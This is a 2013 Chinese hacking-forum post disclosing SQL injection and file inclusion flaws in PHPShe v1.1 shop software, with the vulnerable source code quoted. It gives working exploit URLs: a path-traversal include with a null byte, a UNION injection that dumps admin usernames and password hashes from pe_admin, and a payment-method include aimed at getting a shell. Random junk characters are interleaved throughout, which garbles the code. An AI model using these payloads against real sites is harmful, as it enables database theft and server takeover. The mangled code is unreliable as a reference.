找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2145|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
* @" r( C2 P) u$ t2 F% y% @/* Phpshe v1.1 Vulnerability
% q5 F' `/ v. h7 f# g% t' ], [/* ========================
0 ?0 W) L( A7 P# V% U* S* V/* By: : Kn1f3
- i; z& ~: {  `& E. A/* E-Mail : 681796@qq.com
; {6 W# c. A/ i, e/*******************************************************/0 T. |) B8 i* e2 ^2 Z  ~$ c) @
0×00 整体大概参数传输
! g* ^5 _+ n5 G4 b5 K3 P) o
/ A5 _2 v( M: c# d+ R
1 g* K: ~- T' D: v3 o/ A8 n

' l+ I6 e4 ]! j6 P//common.php
, a! s+ l6 n3 W9 Gif (get_magic_quotes_gpc()) {2 U% Y: e/ H  M9 o
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');( y4 i& w0 N+ i& j- z( v
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');' D/ @: p2 M( q7 O8 ?
}1 p0 Y: R/ G" w7 u: Y: f. F- t
else {
2 ]1 \& \6 X8 \+ g; w6 v!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');5 p) H6 |( i1 b  t8 p1 Z
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');, y4 q, q8 m$ Z: ~4 Z2 n4 g
}4 ?& @/ H  c: o$ ?; _
session_start();
% }1 F7 `+ W; n- h!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
" ]# ?* ^6 T/ V  f; Q!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
0 `/ \3 i" T* O% h7 Q. W0 @; g5 w% R, w; h) F9 Q; o& T7 g4 {( X6 y
0×01 包含漏洞. ^+ S. F9 V6 S+ O

1 I+ o+ U$ X: s
1 t5 H' e4 d- F5 B8 G) a5 b1 ~
//首页文件
& v  K: G- }! i4 W0 ?7 e5 z<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
! Q" _  K# X6 I; t2 `, M2 a8 pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞& e# w1 k# N( ~% E
pe_result();. e. c9 G( b# f; f; p' d8 x2 s
?>% |+ Q( N8 }8 E
//common 文件 第15行开始  F1 M  f3 O: T1 V. q
url路由配置
' R8 `# h/ S8 D/ v8 d+ s5 C$module = $mod = $act = 'index';# \) W+ d3 o$ \' X" H$ y6 j
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);0 z& W3 T- [/ H# b- h
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
* o, D/ T( d! l3 T; _6 ]$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);; @3 i( V: e6 E0 Y! B# Z( J9 `
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
3 p" P7 i" F; V3 W: c


) U5 d/ z4 f+ V, A1 h( a. F, g
) l% u; _- U. w 0×02 搜索注入
4 D+ R) V# n* O2 L, M( N# ^; { 9 y! p1 V  U2 y6 P9 r
<code id="code2">

//product.php文件
0 r0 s" K' O. ?5 I7 Ncase 'list':, \- p$ x8 Z  ^2 d
$category_id = intval($id);
, _) f& X7 D4 L3 o$ K, z/ z$info = $db->pe_select('category', array('category_id'=>$category_id));& @6 c: F* d2 J: Z, v+ e
//搜索
: m) z0 [0 n3 }4 I6 w. x) a9 l8 m. A4 Q$sqlwhere = " and `product_state` = 1";
, ?" z$ }/ e" Y) P1 V- npe_lead('hook/category.hook.php');  u* H+ b4 r0 ~/ e# r
if ($category_id) {; W0 Q; c) @5 r2 l& X
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& h' _3 _' V  \% {# n+ k}
0 T8 ~. B  |5 s$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤; b# |- H/ O) y7 u1 Z2 h, k% e& c
if ($_g_orderby) {
0 i' E  ?0 `9 ^$orderby = explode('_', $_g_orderby);
( I5 J. E6 E0 o$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: f- d/ F9 v3 ]}4 O& W6 H9 r" x2 a# n5 |
else {
4 B) @" _' x, t; o$ E7 m4 E$ _$sqlwhere .= " order by `product_id` desc";
- ?7 ^* y# o, z0 n9 p' w( n( }}
, f) Y+ N) c$ [  Z( U$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
/ X' H8 S+ Z/ [# M( _2 @//热卖排行
0 y7 R" G4 I  ^/ `$product_hotlist = product_hotlist();8 Z- c5 I; \* c8 C4 b! X: [
//当前路径4 b8 K$ \& S: I
$nowpath = category_path($category_id);3 ]5 A# N( P* ^% y9 C, W' ~4 z/ u
$seo = pe_seo($info['category_name']);
/ v  R4 a2 K- p" f( rinclude(pe_tpl('product_list.html'));* L8 f7 I" r6 `+ ?
//跟进selectall函数库6 R; P+ X) b9 U* e! w, E
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())4 n$ q* M0 N) o8 w3 U% P  C' q
{
- J( ^2 c: j' S) c+ A//处理条件语句; F" }) r5 w* v' p( Y
$sqlwhere = $this->_dowhere($where);+ ]: a, ?1 C9 U' V5 K: Q+ i& O
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" `6 s+ J$ T% C# m) f' b" l. H}
% s8 [6 H& W9 N& \- q6 C) q//exp
1 J- [, R8 [0 |$ [product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
. r& F' z: J! Q" w. a* K% P0 C

</code>. d1 C: C& o9 e9 ^' g: \
8 ~" j0 e, U6 L6 I
0×03 包含漏洞25 @( K# w! a& {. c5 F
9 [3 k2 k$ w7 x+ [! }
<code id="code3">

//order.php

case 'pay':


" f. _, A  Y$ C; Q! P, o. y8 Q$order_id = pe_dbhold($_g_id);


4 j4 b, L6 s8 \4 j" \: p% ~! y$cache_payway = cache::get('payway');

9 [1 w3 H# A" v) [
foreach($cache_payway as $k => $v) {


/ J1 x( Q" a( q" n$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


& z1 F# P' ?% I5 ~! {' dif ($k == 'bank') {


, d) {/ v2 W, w# Q8 {$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

5 D) e  ]1 s, X( m4 H( D
}


! N( N0 i# b; c! j7 R) Y% h}

7 H0 A6 D- p! f' U/ A5 n- I/ \! r4 a
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

' C* l# H6 }& R* F8 j
!$order['order_id'] && pe_error('订单号错误...');


& I4 ^/ C+ N8 ]if (isset($_p_pesubmit)) {


% w. ]- S- c& _8 R. {; `( zif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, k7 |0 N) D) ^0 N1 c0 {7 |3 d
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


' q: F7 s( m6 e" oforeach ($info_list as $v) {

4 t, e0 G+ B2 v' w
$order['order_name'] .= "{$v['product_name']};";4 ]; T2 o/ Z  f6 A# u/ H

0 X  w% }6 i, O  x6 _2 @& W
}

4 z) i; m6 r1 Y% T
echo '正在为您连接支付网站,请稍后...';

4 x- u5 B( @) |9 f; h, v4 F0 L
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


$ |2 ^1 ?1 U8 o- b6 ^& o}//当一切准备好的时候就可以进行"鸡肋包含了"

* j' q3 O- m/ _( Q
else {

% l! @  N) n! D* I! s8 k* M
pe_error('支付错误...');


9 o/ m; v* \: y% v% N}

  t$ ^7 D2 F. E8 X
}

2 f8 [& n/ z; p+ e% E
$seo = pe_seo('选择支付方式');

& b  h, \6 N% T5 e* G+ w
include(pe_tpl('order_pay.html'));


% c6 d- |  a7 ?break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
2 K* E- a" Z9 w7 _http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表